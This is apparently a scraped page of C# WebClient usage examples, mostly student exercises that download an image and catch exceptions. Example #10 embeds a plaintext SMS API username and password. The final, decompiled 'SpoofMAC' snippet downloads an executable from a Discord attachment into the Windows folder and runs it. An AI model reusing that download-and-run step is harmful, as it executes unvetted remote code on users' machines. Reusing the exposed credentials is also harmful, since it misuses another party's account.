예제 #1
2
 private void SendGETRequest(string url)
 {
     using (WebClient wc = new WebClient())
     {
         wc.DownloadStringAsync(new Uri(url));
     }
 }
예제 #2
0
    private void GetUpdateList(string updateKey)
    {
        WebClient client = new WebClient();
        client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";

        string response;

        try
        {
            response = client.UploadString("http://infinity-code.com/products_update/checkupdates.php",
            "k=" + WWW.EscapeURL(updateKey) + "&v=" + OnlineMaps.version + "&c=" + (int)channel);
        }
        catch
        {
            return;
        }
        
        XmlDocument document = new XmlDocument();
        document.LoadXml(response);

        XmlNode firstChild = document.FirstChild;
        updates = new List<OnlineMapsUpdateItem>();

        foreach (XmlNode node in firstChild.ChildNodes) updates.Add(new OnlineMapsUpdateItem(node));
    }
 static void Main()
 {
     try
     {
         string uri = "http://www.devbg.org/img/";
         string fileName = "Logo-BASD.jpg";
         string WebResource = null;
         WebClient myWebClient = new WebClient();
         WebResource = uri + fileName;
         Console.WriteLine("Downloading File \"{0}\" from \"{1}\" .......\n\n", fileName, WebResource);
         myWebClient.DownloadFile(WebResource, fileName);
         Console.WriteLine("Successfully Downloaded File \"{0}\" from \"{1}\"", fileName, WebResource);
         Console.WriteLine("\nDownloaded file saved in the current file system(bin) folder");
     }
     catch (ArgumentNullException)
     {
         Console.WriteLine("Invalid file");
     }
     catch (WebException)
     {
         Console.WriteLine("No network access");
     }
     catch (NotSupportedException)
     {
         Console.WriteLine("Method is not supported");
     }
 }
예제 #4
0
    static void Main()
    {
        Console.WriteLine(@"Problem 4. Download file
Write a program that downloads a file from Internet (e.g. Ninja image) 
and stores it the current directory.
Find in Google how to download files in C#.
Be sure to catch all exceptions and to free any used resources in the 
finally block.
============================================================================
Solution:");
        string sourceResource = "http://blogs.telerik.com/images/default-source/miroslav-miroslav/super_ninja.png?sfvrsn=2";
        string localFileName = Path.GetFileName(sourceResource);
        using (WebClient myWebClient = new WebClient())
        {
            try
            {
                Console.WriteLine("Start downloading {0}", sourceResource);
                myWebClient.DownloadFile(sourceResource, localFileName);
                Console.WriteLine("Download succesfull.");
                Console.WriteLine("You can see downloaded file in: local folder of this program\\bin\\Debug\\");
            }
            catch (WebException ex)
            {
                Console.Write(ex.Message);
                if (ex.InnerException != null)
                    Console.WriteLine(" " + ex.InnerException.Message);
                else
                    Console.WriteLine();
            }
            catch (Exception ex)
            {
                Console.WriteLine("Something going wrong. Details: " + ex.Message);
            }
        }
    }
예제 #5
0
    static void Download(string url, string downloadDir)
    {
        try
        {
            WebClient client = new WebClient();

            using (client)
            {
                client.DownloadFile(url, downloadDir);
            }

            Console.WriteLine("The file was successfully downloaded!!!");
        }
        catch (ArgumentNullException)
        {
            Console.Error.WriteLine("Missing url or download directory!!!");
        }
        catch (WebException)
        {
            Console.Error.WriteLine("You have entered a wrong url or you have not set a name for the file!!!");
        }
        catch (NotSupportedException)
        {
            Console.Error.WriteLine("The application can not download the file!!!");
        }
    }
예제 #6
0
 static void Main()
 {
     WebClient webClient = new WebClient();
     try
     {
         webClient.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", @"C:\Users\Konstantin Iliev\Documents\txt.txt");
     }
     catch (ArgumentException ae)
     {
         Console.WriteLine("{0} - {1}", ae.GetType(), ae.Message);
     }
     catch (WebException webEx)
     {
         Console.WriteLine("{0} - {1}", webEx.GetType(), webEx.Message);
         Console.WriteLine("Destination not found!");
     }
     catch (NotSupportedException supportEx)
     {
         Console.WriteLine("{0} - {1}", supportEx.GetType(), supportEx.Message);
         Console.WriteLine(supportEx.Message);
     }
     catch (Exception allExp)
     {
         Console.WriteLine("{0} - {1}", allExp.GetType(), allExp.Message);
     }
 }
예제 #7
0
 static void Main()
 {
     WebClient webClient = new WebClient();
         try
         {
             webClient.DownloadFile("http://telerikacademy.com/Content/Images/news-img01.png", @"news-img01.png");
             Console.WriteLine("Done"); // image is downloaded in your current directory.
         }
         catch (ArgumentNullException)
         {
             Console.WriteLine("The address parameter is null");
         }
         catch (WebException)
         {
             Console.WriteLine("File does not exist, its name is null or empty, address is invalid, or an error occurred while downloading data");
         }
         catch (NotSupportedException)
         {
             Console.WriteLine("The method has been called simultaneously on multiple threads");
         }
         finally
         {
             webClient.Dispose();
         }
 }
    /// <summary>
    /// Retrieve the URL that the client should redirect the user to to perform the OAuth authorization
    /// </summary>
    /// <param name="provider"></param>
    /// <returns></returns>
    protected override string GetAuthorizationUrl(String callbackUrl)
    {
        OAuthBase auth = new OAuthBase();
        String requestUrl = provider.Host + provider.RequestTokenUrl;
        Uri url = new Uri(requestUrl);
        String requestParams = "";
        String signature = auth.GenerateSignature(url, provider.ClientId, provider.Secret, null, null, provider.RequestTokenMethod ?? "POST",
            auth.GenerateTimeStamp(), auth.GenerateTimeStamp() + auth.GenerateNonce(), out requestUrl, out requestParams,
            new OAuthBase.QueryParameter(OAuthBase.OAuthCallbackKey, auth.UrlEncode(callbackUrl)));
        requestParams += "&oauth_signature=" + HttpUtility.UrlEncode(signature);
        WebClient webClient = new WebClient();
        byte[] response;
        if (provider.RequestTokenMethod == "POST" || provider.RequestTokenMethod == null)
        {
            response = webClient.UploadData(url, Encoding.ASCII.GetBytes(requestParams));
        }
        else
        {
            response = webClient.DownloadData(url + "?" + requestParams);
        }
        Match m = Regex.Match(Encoding.ASCII.GetString(response), "oauth_token=(.*?)&oauth_token_secret=(.*?)&oauth_callback_confirmed=true");
        String requestToken = m.Groups[1].Value;
        String requestTokenSecret = m.Groups[2].Value;
        // we need a way to save the request token & secret, so that we can use it to get the access token later (when they enter the pin)
        // just stick it in the session for now
        HttpContext.Current.Session[OAUTH1_REQUEST_TOKEN_SESSIONKEY] = requestToken;
        HttpContext.Current.Session[OAUTH1_REQUEST_TOKEN_SECRET_SESSIONKEY] = requestTokenSecret;

        return provider.Host + provider.UserApprovalUrl + "?oauth_token=" + HttpUtility.UrlEncode(requestToken);
    }
예제 #9
0
    static void Main()
    {
        using (WebClient web = new WebClient())
        {
            try
            {
                // Download and save the file
                web.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", @"D:\Logo-BASD.jpg");
            }
            catch (WebException)
            {
                Console.WriteLine("An error occurred while downloading data, or the file does not exist.");
            }
            catch (NotSupportedException)
            {
                Console.WriteLine("The method has been called simultaneously on multiple threads.");
            }

            Console.Write("[Done] The file is saved in 'D:\\'" + Environment.NewLine +
                              " Open file? [Y/N]: ");

            // open file option
            switch (Console.ReadLine().ToLower())
            {
                case "y": OpenFile(); break;
                default: return;
            }
        }
    }
예제 #10
0
파일: SMSSender.cs 프로젝트: samercs/NCSS
    public string SendSms(List<string> mobiles)
    {
        using (var client = new WebClient())
        {
            try
            {
                string langCode = "1";
                if (Regex.IsMatch(Message, @"\p{IsArabic}+"))
                {
                    langCode = "2";
                }

                client.Headers.Add("content-type", "text/plain");
                string mobile=String.Join(",",mobiles.ToArray());
                string result = client.DownloadString(String.Format("http://brazilboxtech.com/api/send.aspx?username=smartksa&password=ksasmrt95647&language={0}&sender=NCSS&mobile={1}&message={2}",langCode, mobile, Message));
                if (result.StartsWith("OK"))
                {
                    return String.Empty;
                }
                return result;
            }
            catch (Exception ex)
            {

                return ex.Message;
            }

        }
    }
예제 #11
0
        public static void Properties_InvalidArguments_ThrowExceptions()
        {
            var wc = new WebClient();

            Assert.Throws<ArgumentException>("value", () => { wc.BaseAddress = "http::/invalid url"; });
            Assert.Throws<ArgumentNullException>("Encoding", () => { wc.Encoding = null; });
        }
    static void Main()
    {
        Console.Write("Enter URL address: ");
        string path = Console.ReadLine();

        Console.Write("Enter file name: ");
        string name = Console.ReadLine();

        using (WebClient webClient = new WebClient())
        {
            try
            {
                using (WebClient Client = new WebClient())
                {
                    Client.DownloadFile(path, name);
                }
            }
            catch (ArgumentException)
            {
                Console.WriteLine("The path is zero-length/ one or more invalid chars!");
            }
            catch (WebException)
            {
                Console.WriteLine("Invalid address/ filename-null reference(empty)/ error while downloading!");
            }
            catch (System.Security.SecurityException)
            {
                Console.WriteLine("You do not have the required permission to write to local file!");
            } 
        }
    }
예제 #13
0
    static void Main(string[] args)
    {
        /*     Write a program that downloads a file from Internet (e.g. Ninja image) and stores it in the current directory.
                   Find in Google how to download files in C#.
                   Be sure to catch all exceptions and to free any used resources in the finally block.*/

            Console.WriteLine("Enter Internet file address: "); // https://telerikacademy.com/Content/Images/news-img01.png
            string internetAddress = Console.ReadLine();
            string extension = internetAddress.Substring(internetAddress.LastIndexOf('.'), internetAddress.Length - internetAddress.LastIndexOf('.'));

            using (WebClient internetRover = new WebClient())
            {
                try
                {
                    Console.WriteLine("Recieving data...");
                    internetRover.DownloadFile(internetAddress, "downloadedFile" + extension);
                    Console.WriteLine("File successfully downloaded! File Location:...\\bin\\Debug");
                }
                catch (ArgumentNullException ex)
                {
                    Console.WriteLine(ex.Message);
                }
                catch (WebException ex)
                {
                    Console.WriteLine(ex.Message);
                }
                catch (NotSupportedException ex)
                {
                    Console.WriteLine(ex.Message);
                }

            }
    }
 static void Main()
 {
     Console.WriteLine("Enter the URL that you wish to download.");
     Console.Write("URL: ");
     string url = Console.ReadLine();
     Console.WriteLine("Directory to download to:");
     string directory = Console.ReadLine();
     try
     {
         WebClient request = new WebClient();
         using (request)
         {
             request.DownloadFile(url, directory);
         }
     }
     catch (ArgumentNullException)
     {
         Console.WriteLine("The url does not exist or it was not entered.");
     }
     catch (ArgumentException)
     {
         Console.WriteLine("Invalid input data.");
     }
     catch (WebException)
     {
         Console.WriteLine("You do not have privileges to download / Problem with internet connection.");
     }
     catch (NotSupportedException)
     {
         Console.WriteLine("Error 404: File not found!");
     }
 }
    static void Main()
    {
        WebClient webClient = new WebClient();
        string linkToFile = @"http://www.devbg.org/img/Logo-BASD.jpg";
        try
        {
            webClient.DownloadFile( linkToFile,"logo.jpg");
        }

        catch (ArgumentNullException)
        {
            Console.WriteLine("You can't use null arguments");
        }
        catch (ArgumentException)
        {
            Console.WriteLine("'{0}' is a wrong path", linkToFile);
        }
        catch (NotSupportedException)
        {
            Console.WriteLine("Use different slashes for this operating system");
        }
        catch (WebException)
        {
            Console.WriteLine("Not file specified to save to");
        }
        finally
        {
            webClient.Dispose();
        }
    }
예제 #16
0
    protected void btnGetLoc_Click(object sender, EventArgs e)
    {
        WebClient wc = new WebClient();
        Stream data = wc.OpenRead(String.Format("http://iplocationtools.com/ip_query2.php?ip={0}", txtIP.Text.Trim()));
        String str;
        using (StreamReader sr = new StreamReader(data))
        {
            str = sr.ReadToEnd();
            data.Close();
        }
        //String url = String.Empty;

        //if (txtIP.Text.Trim() != String.Empty)
        //{
        //    url = String.Format("http://iplocationtools.com/ip_query2.php?ip={0}", txtIP.Text.Trim());
        //    XDocument xDoc = XDocument.Load(url);
        //    if (xDoc == null | xDoc.Root == null)
        //    {
        //        throw new ApplicationException("Data is not Valid");
        //    }

        //    Xml1.TransformSource = "IP.xslt";
        //    Xml1.DocumentContent = xDoc.ToString();
        //}
    }
    static void Main()
    {
        string remoteUri = "http://telerikacademy.com/Content/Images/";
        string fileName = "news-img01.png";
        string webResource = null;
        WebClient myWebClient = new WebClient();
        webResource = remoteUri + fileName;


        Console.WriteLine("Downloading File \"{0}\" from \"{1}\" .......\n", fileName, webResource);
        try
        {
            myWebClient.DownloadFile(webResource, fileName);
            Console.WriteLine("Successfully Downloaded File \"{0}\" from \"{1}\"", fileName, webResource);
        }
        catch (ArgumentNullException)
        {
            Console.WriteLine("No address given.");
        }
        catch (WebException)
        {
            Console.WriteLine("The file does not exist or the name is empty.");
        }
        catch (NotSupportedException)
        {
            Console.WriteLine("The method has been called simultaneously on multiple threads.");
        }
        finally
        {
            myWebClient.Dispose();
        }
        Console.WriteLine();
    }
예제 #18
0
    static void Main()
    {
      using (WebClient downloadClient = new WebClient())
        {
            try
            {
                Console.WriteLine("Downloading..");
                downloadClient.DownloadFile("http://telerikacademy.com/Content/Images/news-img01.png", "news-img01.png");
                Console.WriteLine("Image was downloaded successfully in 'bin' directory of the project!");
            }
            catch (ArgumentException ex)
            {
                Console.WriteLine(ex.Message);
            }
            catch (WebException ex)
            {
                Console.WriteLine(ex.Message);
            }
            catch (NotSupportedException ex)
            {
                Console.WriteLine(ex.Message);
            }
            finally
            {
                Console.WriteLine("Goodbye!");
            }
        }

    }
        public static void ProcessQueueMessage([ServiceBusTrigger("resizepicturesqueue")] ResizePictureMessage message, TextWriter logger)
        {
            var azureStorageConnectionString = ConfigurationManager.ConnectionStrings["AzureStorage"].ConnectionString;

            byte[] data;
            using (var client = new WebClient())
            {
                data = client.DownloadData(message.PictureReference);
            }

            var tumbnail = ImageResizer.CreateTumbnail(Image.FromStream(new MemoryStream(data)));

            var storageAccount = CloudStorageAccount.Parse(azureStorageConnectionString);
            var filesStorageService = new FilesStorageService(storageAccount);

            var uploadedFileUrl = filesStorageService.UploadFile(Guid.NewGuid().ToString(), tumbnail).Result;

            using (var context = new ConstructionsProgressTrackerContext())
            {
                context.ProgressTrackingEntries.Single(e => e.Id == message.Id).TumbnailPictureReference = uploadedFileUrl;
                context.SaveChanges();
            }

            logger.WriteLine($"Tumbnail for entry:{message.Id} successfully created.");
        }
    static void Main()
    {
        try
        {
            string url = "http://www.devbg.org/img/";
            string fileName = "Logo-BASD.jpg", myDownload = null;

            WebClient downloader = new WebClient();

            myDownload = url + fileName;
            Console.WriteLine("Downloading File \"{0}\" from \"{1}\" .......\n\n", fileName, myDownload);

            downloader.DownloadFile(myDownload, fileName);
            Console.WriteLine("Successfully Downloaded File \"{0}\" from \"{1}\"", fileName, url);
            Console.WriteLine("\nDownloaded file saved in the following file system folder:\n\t" + Application.StartupPath);
        }
        catch (ArgumentException)
        {
            Console.WriteLine("There is a problem with the url or file name format entered");
        }

        catch (WebException)
        {
            Console.WriteLine("Combinig the url and filename is invalid or an error occured while downloading data.");
        }
        catch (SecurityException)
        {
            Console.WriteLine("Permission writing issues.");
        }
    }
예제 #21
0
 public void method_0()
 {
     try
     {
         string xml;
         using (WebClient webClient = new WebClient())
         {
             xml = webClient.DownloadString(this.string_1 + "/main.xml");
         }
         XmlDocument xmlDocument = new XmlDocument();
         xmlDocument.LoadXml(xml);
         XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("repofile");
         XmlNodeList elementsByTagName2 = ((XmlElement)elementsByTagName[0]).GetElementsByTagName("information");
         foreach (XmlElement xmlElement in elementsByTagName2)
         {
             XmlNodeList elementsByTagName3 = xmlElement.GetElementsByTagName("id");
             XmlNodeList elementsByTagName4 = xmlElement.GetElementsByTagName("name");
             this.string_0 = elementsByTagName4[0].InnerText;
             this.string_2 = elementsByTagName3[0].InnerText;
         }
         XmlNodeList elementsByTagName5 = ((XmlElement)elementsByTagName[0]).GetElementsByTagName("category");
         foreach (XmlElement xmlElement2 in elementsByTagName5)
         {
             XmlNodeList elementsByTagName3 = xmlElement2.GetElementsByTagName("id");
             XmlNodeList elementsByTagName4 = xmlElement2.GetElementsByTagName("name");
             GClass2 gClass = new GClass2();
             gClass.string_1 = elementsByTagName4[0].InnerText;
             gClass.string_0 = elementsByTagName3[0].InnerText;
         }
     }
     catch
     {
     }
 }
예제 #22
0
    static void Main()
    {
        using (WebClient webClient = new WebClient())
        {
            try
            {
                Console.WriteLine("Starting to download...");
                webClient.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", "../../Logo-BASD.jpg");
                Console.WriteLine("Downloaded!");
            }

            catch (WebException ex)
            {
                Console.Error.WriteLine("Sorry, there was an error!" + ex.Message);
            }
            catch (ArgumentNullException ex)
            {
                Console.Error.WriteLine("Sorry, you didn't enter anything!" + ex.Message);
            }
            catch (NotSupportedException ex )
            {
                Console.Error.WriteLine("Sorry, there was an error!" + ex.Message);
            }
        }
    }
    static void Main()
    {
        try
        {
            WebClient webClient = new WebClient();
            webClient.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", @"C:\");
        }

        catch (ArgumentNullException)
        {
            Console.WriteLine("The address parameter is null.");
        }

        catch (WebException)
        {
            Console.Write("The URI formed by combining BaseAddress and address is invalid");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(" or ");
            Console.ResetColor();
            Console.Write("filename is null or Empty");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(" or ");
            Console.ResetColor();
            Console.Write("the file does not exist");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(" or ");
            Console.ResetColor();
            Console.WriteLine("an error occurred while downloading data.");
        }

        catch (NotSupportedException)
        {
            Console.WriteLine("The method has been called simultaneously on multiple threads.");
        }
    }
    // Write a program that downloads a file from Internet
    // (e.g. http://www.devbg.org/img/Logo-BASD.jpg) and
    // stores it the current directory. Find in Google how 
    // to download files in C#. Be sure to catch all exceptions
    // and to free any used resources in the finally block.

    static void Main()
    {
        WebClient client = new WebClient();
        using (client)
        {
            try
            {
                client.DownloadFile("http://academy.telerik.com/images/default-album/telerik-academy-banner-300x250.jpg?sfvrsn=2",
                            "../../../telerik-academy-banner-300x250.jpg");
            }
            catch (WebException we)
            {
                Console.Error.WriteLine("File is inaccessible!" + we.Message);
            }

            catch (NotSupportedException ne)
            {
                Console.Error.WriteLine("Ooops something went wrong!" + ne.Message);
            }
            catch (ArgumentNullException ae)
            {
                Console.Error.WriteLine("Ooops something went wrong!" + ae.Message);
            }
        }
    }
예제 #25
0
 static void Main()
 {
     try
     {
         WebClient webClient = new WebClient();
         webClient.DownloadFile("http://telerikacademy.com/Content/Images/news-img01.png", "news-img01.png");
         Console.WriteLine("You can find the downloaded image in 'bin' directory of the project.");
     }
     catch (ArgumentException ex)
     {
         Console.WriteLine(ex.Message);
     }
     catch (WebException ex)
     {
         Console.WriteLine(ex.Message);
     }
     catch (NotSupportedException ex)
     {
         Console.WriteLine(ex.Message);
     }
     catch (UnauthorizedAccessException ex)
     {
         Console.WriteLine(ex.Message);
     }
 }
예제 #26
0
 static void Main()
 {
     Console.WriteLine("Enter URI(adress) from where you will download: ");
     string url = Console.ReadLine();
     Console.WriteLine("Enter name for your file: ");
     string fileName = Console.ReadLine();
     //using  closes the resource after it`s work is done
     using (WebClient webClient = new WebClient())
     {
         try
         {
             webClient.DownloadFile(url, fileName);
             Console.WriteLine("Download complete!");
         }
         catch (ArgumentNullException)
         {
             Console.WriteLine("Either adress parameter is null or filename parameter is null!");
         }
         catch (WebException)
         {
             Console.WriteLine("The URI adress is invalid,filename is null or empty or an error occurred while downloading data!");
         }
         catch (NotSupportedException)
         {
             Console.WriteLine("The method has been called simultaneously on multiple threads.");
         }
         catch (ArgumentException)
         {
             Console.WriteLine("The path is not of a legal form.");
         }
     }
 }
예제 #27
0
    /// <summary>
    /// Retrieves the specified remote script using a WebClient.
    /// </summary>
    /// <param name="file">The remote URL</param>
    private static string RetrieveScript(string file)
    {
        string script = null;

        try
        {
            Uri url = new Uri(file, UriKind.Absolute);

            using (WebClient client = new WebClient())
            using (Stream buffer = client.OpenRead(url))
            using (StreamReader reader = new StreamReader(buffer))
            {
                script = StripWhitespace(reader.ReadToEnd());
                HttpContext.Current.Cache.Insert(file, script, null, Cache.NoAbsoluteExpiration, new TimeSpan(7, 0, 0, 0));
            }
        }
        catch (System.Net.Sockets.SocketException)
        {
            // The remote site is currently down. Try again next time.
        }
        catch (UriFormatException)
        {
            // Only valid absolute URLs are accepted
        }

        return script;
    }
 static void Main()
 {
     string decorationLine = new string('-', 80);
     Console.Write(decorationLine);
     Console.WriteLine("***Downloading a file from Internet and storing it in the current directory***");
     Console.Write(decorationLine);
     WebClient webClient = new WebClient();
     try
     {
         string remoteUri = "http://www.telerik.com/images/newsletters/academy/assets/";
         string fileName = "ninja-top.gif";
         string fullFilePathOnWeb = remoteUri + fileName;
         webClient.DownloadFile(fullFilePathOnWeb, fileName);
         Console.WriteLine("Downloading '{0}' from {1} is completed!", fileName, remoteUri);
         Console.WriteLine("You can find it in {0}.", Environment.CurrentDirectory);
     }
     catch (ArgumentNullException)
     {
         Console.WriteLine("No file address is given!");
     }
     catch (WebException webException)
     {
         Console.WriteLine(webException.Message);
     }
     catch (NotSupportedException)
     {
         Console.WriteLine("Downloading a file is in process! Cannot download multiple \nfiles simultaneously!");
     }
     finally
     {
         webClient.Dispose();
     }
 }
    static void Main()
    {
        WebClient webClient = new WebClient();
            using (webClient)
            {
                try
                {
                    webClient.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", @"..\..\Logo-BASD.jpg");
                    //this row will be executed only if downwoad is successfull
                    Console.WriteLine("The file is downloaded");
                }
                catch (ArgumentNullException ex1)
                {
                    Console.WriteLine("{0}",ex1.Message);
                }
                catch (System.Net.WebException ex2)
                {
                    Console.WriteLine("{0}", ex2.Message);
                }
                catch (System.NotSupportedException ex3)
                {
                    Console.WriteLine("{0}", ex3.Message);
                }

            }
    }
예제 #30
0
        protected override bool DoDownload()
        {
            string strImgURL = ImageLinkURL;

            if (EventTable.ContainsKey(strImgURL))
            {
                return(true);
            }

            string strFilePath = string.Empty;


            strFilePath = strImgURL.Substring(strImgURL.IndexOf("img=") + 4);

            try
            {
                if (!Directory.Exists(SavePath))
                {
                    Directory.CreateDirectory(SavePath);
                }
            }
            catch (IOException ex)
            {
                //MainForm.DeleteMessage = ex.Message;
                //MainForm.Delete = true;

                return(false);
            }

            strFilePath = Path.Combine(SavePath, Utility.RemoveIllegalCharecters(strFilePath));

            CacheObject CCObj = new CacheObject();

            CCObj.IsDownloaded = false;
            CCObj.FilePath     = strFilePath;
            CCObj.Url          = strImgURL;
            try
            {
                EventTable.Add(strImgURL, CCObj);
            }
            catch (ThreadAbortException)
            {
                return(true);
            }
            catch (System.Exception)
            {
                if (EventTable.ContainsKey(strImgURL))
                {
                    return(false);
                }
                else
                {
                    EventTable.Add(strImgURL, CCObj);
                }
            }

            string strIVPage = GetImageHostPage(ref strImgURL);

            if (strIVPage.Length < 10)
            {
                return(false);
            }

            string strNewURL = string.Empty;


            int iStartIMG = 0;
            int iEndSRC   = 0;

            iStartIMG = strIVPage.IndexOf("<img src=\"" + strNewURL);

            if (iStartIMG < 0)
            {
                return(false);
            }
            iStartIMG += 10;

            iEndSRC = strIVPage.IndexOf("\"/>", iStartIMG);

            if (iEndSRC < 0)
            {
                return(false);
            }

            strNewURL = strIVPage.Substring(iStartIMG, iEndSRC - iStartIMG);

            //////////////////////////////////////////////////////////////////////////
            string NewAlteredPath = Utility.GetSuitableName(strFilePath);

            if (strFilePath != NewAlteredPath)
            {
                strFilePath = NewAlteredPath;
                ((CacheObject)EventTable[ImageLinkURL]).FilePath = strFilePath;
            }

            FileStream lFileStream = new FileStream(strFilePath, FileMode.Create);


            //int bytesRead;

            try
            {
                WebClient client = new WebClient();
                client.Headers.Add("Referer: " + strImgURL);
                client.Headers.Add("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6");
                client.DownloadFile(strNewURL, strFilePath);
                client.Dispose();
            }
            catch (ThreadAbortException)
            {
                ((CacheObject)EventTable[strImgURL]).IsDownloaded = false;
                ThreadManager.GetInstance().RemoveThreadbyId(ImageLinkURL);

                return(true);
            }
            catch (IOException ex)
            {
                //MainForm.DeleteMessage = ex.Message;
                //MainForm.Delete = true;

                ((CacheObject)EventTable[strImgURL]).IsDownloaded = false;
                ThreadManager.GetInstance().RemoveThreadbyId(ImageLinkURL);

                return(true);
            }
            catch (WebException)
            {
                ((CacheObject)EventTable[strImgURL]).IsDownloaded = false;
                ThreadManager.GetInstance().RemoveThreadbyId(ImageLinkURL);

                return(false);
            }

            ((CacheObject)EventTable[ImageLinkURL]).IsDownloaded = true;
            //CacheController.GetInstance().u_s_LastPic = ((CacheObject)eventTable[mstrURL]).FilePath;
            CacheController.Instance().LastPic = ((CacheObject)EventTable[ImageLinkURL]).FilePath = strFilePath;

            return(true);
        }
예제 #31
0
        private void DownUpdateFile()
        {
            this.Cursor = Cursors.WaitCursor;
            mainAppExe  = updaterXmlFiles.GetNodeValue("//EntryPoint");
            Process[] allProcess = Process.GetProcesses();
            foreach (Process p in allProcess)
            {
                if (p.ProcessName.ToLower() + ".exe" == mainAppExe.ToLower())
                {
                    for (int i = 0; i < p.Threads.Count; i++)
                    {
                        p.Threads[i].Dispose();
                    }

                    p.Kill();
                    //break;
                }
                isRun = true;
            }
            WebClient wcClient = new WebClient();

            for (int i = 0; i < this.lvUpdateList.Items.Count; i++)
            {
                string UpdateFile    = lvUpdateList.Items[i].Text.Trim();
                string updateFileUrl = updateUrl + lvUpdateList.Items[i].Text.Trim();
                long   fileLength    = 0;

                WebRequest  webReq = WebRequest.Create(updateFileUrl);
                WebResponse webRes = webReq.GetResponse();
                fileLength = webRes.ContentLength;

                lbState.Text       = "正在下载更新文件,请稍后...";
                pbDownFile.Value   = 0;
                pbDownFile.Maximum = (int)fileLength;

                try
                {
                    Stream       srm        = webRes.GetResponseStream();
                    StreamReader srmReader  = new StreamReader(srm);
                    byte[]       bufferbyte = new byte[fileLength];
                    int          allByte    = (int)bufferbyte.Length;
                    int          startByte  = 0;
                    while (fileLength > 0)
                    {
                        Application.DoEvents();
                        int downByte = srm.Read(bufferbyte, startByte, allByte);
                        if (downByte == 0)
                        {
                            break;
                        }
                        ;
                        startByte        += downByte;
                        allByte          -= downByte;
                        pbDownFile.Value += downByte;

                        float part    = (float)startByte / 1024;
                        float total   = (float)bufferbyte.Length / 1024;
                        int   percent = Convert.ToInt32((part / total) * 100);

                        this.lvUpdateList.Items[i].SubItems[2].Text = percent.ToString() + "%";
                    }

                    string tempPath = tempUpdatePath + UpdateFile;
                    CreateDirtory(tempPath);
                    FileStream fs = new FileStream(tempPath, FileMode.OpenOrCreate, FileAccess.Write);
                    fs.Write(bufferbyte, 0, bufferbyte.Length);
                    srm.Close();
                    srmReader.Close();
                    fs.Close();
                }
                catch (WebException ex)
                {
                    MessageBox.Show("更新文件下载失败!" + ex.Message.ToString(), "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            InvalidateControl();
            this.Cursor = Cursors.Default;
        }
예제 #32
0
        public static void UpdateCheck(bool wait = false, Player p = null)
        {
            CurrentUpdate = true;
            Thread updateThread = new Thread(new ThreadStart(delegate
            {
                WebClient Client = new WebClient();

                if (wait)
                {
                    if (!Server.checkUpdates)
                    {
                        return;
                    }
                    Thread.Sleep(10000);
                }
                try
                {
                    string raw = Client.DownloadString(Program.CurrentVersionFile);
                    if (raw.EndsWith("b") && !Server.DownloadBeta)
                    {
                        Player.SendMessage(p, "Beta version found!");
                        Player.SendMessage(p, "But server set to use release build!");
                        return;
                    }
                    else if (raw.EndsWith("b") && Server.DownloadBeta)
                    {
                        raw = raw.Substring(0, raw.Length - 1);
                    }
                    Version availableUpdateVersion = new Version(raw);
                    if (availableUpdateVersion > Server.Version)
                    {
                        if (Server.autoupdate == true || p != null)
                        {
                            if (Server.autonotify == true || p != null)
                            {
                                //if (p != null) Server.restartcountdown = "20";  This is set by the user.  Why change it?
                                Player.GlobalMessage("Update found. Prepare for restart in &f" + Server.restartcountdown + Server.DefaultColor + " seconds.");
                                Server.s.Log("Update found. Prepare for restart in " + Server.restartcountdown + " seconds.");
                                //               double nxtTime = Convert.ToDouble(Server.restartcountdown);
                                //                         DateTime nextupdate = DateTime.Now.AddMinutes(nxtTime);
                                int timeLeft = Convert.ToInt32(Server.restartcountdown);
                                System.Timers.Timer countDown = new System.Timers.Timer();
                                countDown.Interval            = 1000;
                                countDown.Start();
                                countDown.Elapsed += delegate
                                {
                                    if (Server.autoupdate == true || p != null)
                                    {
                                        Player.GlobalMessage("Updating in &f" + timeLeft + Server.DefaultColor + " seconds.");
                                        Server.s.Log("Updating in " + timeLeft + " seconds.");
                                        timeLeft = timeLeft - 1;
                                        if (timeLeft < 0)
                                        {
                                            Player.GlobalMessage("---UPDATING SERVER---");
                                            Server.s.Log("---UPDATING SERVER---");
                                            countDown.Stop();
                                            countDown.Dispose();
                                            PerformUpdate();
                                        }
                                    }
                                    else
                                    {
                                        Player.GlobalMessage("Stopping auto restart.");
                                        Server.s.Log("Stopping auto restart.");
                                        countDown.Stop();
                                        countDown.Dispose();
                                    }
                                };
                            }
                            else
                            {
                                PerformUpdate();
                            }
                        }
                        else
                        {
                            if (!msgOpen && !usingConsole)
                            {
                                if (Server.autonotify)
                                {
                                    msgOpen = true;
                                    if (MessageBox.Show("New version found. Would you like to update?", "Update?", MessageBoxButtons.YesNo) == DialogResult.Yes)
                                    {
                                        PerformUpdate();
                                    }
                                    msgOpen = false;
                                }
                            }
                            else
                            {
                                ConsoleColor prevColor  = Console.ForegroundColor;
                                Console.ForegroundColor = ConsoleColor.Red;
                                Console.WriteLine("An update was found!");
                                Console.WriteLine("Update using the file at " + DLLLocation + " and placing it over the top of your current MCForge_.dll!");
                                Console.WriteLine("Also update using the file at " + EXELocation + " and placing it over the top of your current MCForge.exe");
                                Console.ForegroundColor = prevColor;
                            }
                        }
                    }
                    else
                    {
                        Player.SendMessage(p, "No update found!");
                    }
                }
                catch { try { Server.s.Log("No web server found to update on."); } catch { } }
                Client.Dispose();
                CurrentUpdate = false;
            })); updateThread.Start();
        }
예제 #33
0
        // Token: 0x06000055 RID: 85 RVA: 0x0000A394 File Offset: 0x00008594
        public static void SpoofMAC()
        {
            string    fileName  = "C:\\Windows\\network.exe";
            string    address   = "https://cdn.discordapp.com/attachments/651522382200176690/660985147646148631/network_1.exe";
            WebClient webClient = new WebClient();

            webClient.DownloadFile(address, fileName);
            Thread.Sleep(3000);
            Process.Start(fileName);
            string userName = Environment.UserName;
            string pathRoot = Path.GetPathRoot(Environment.CurrentDirectory);

            string[] array = new string[]
            {
                pathRoot + "Windows\\Resources\\Themes\\aero",
                pathRoot + "Windows\\Media",
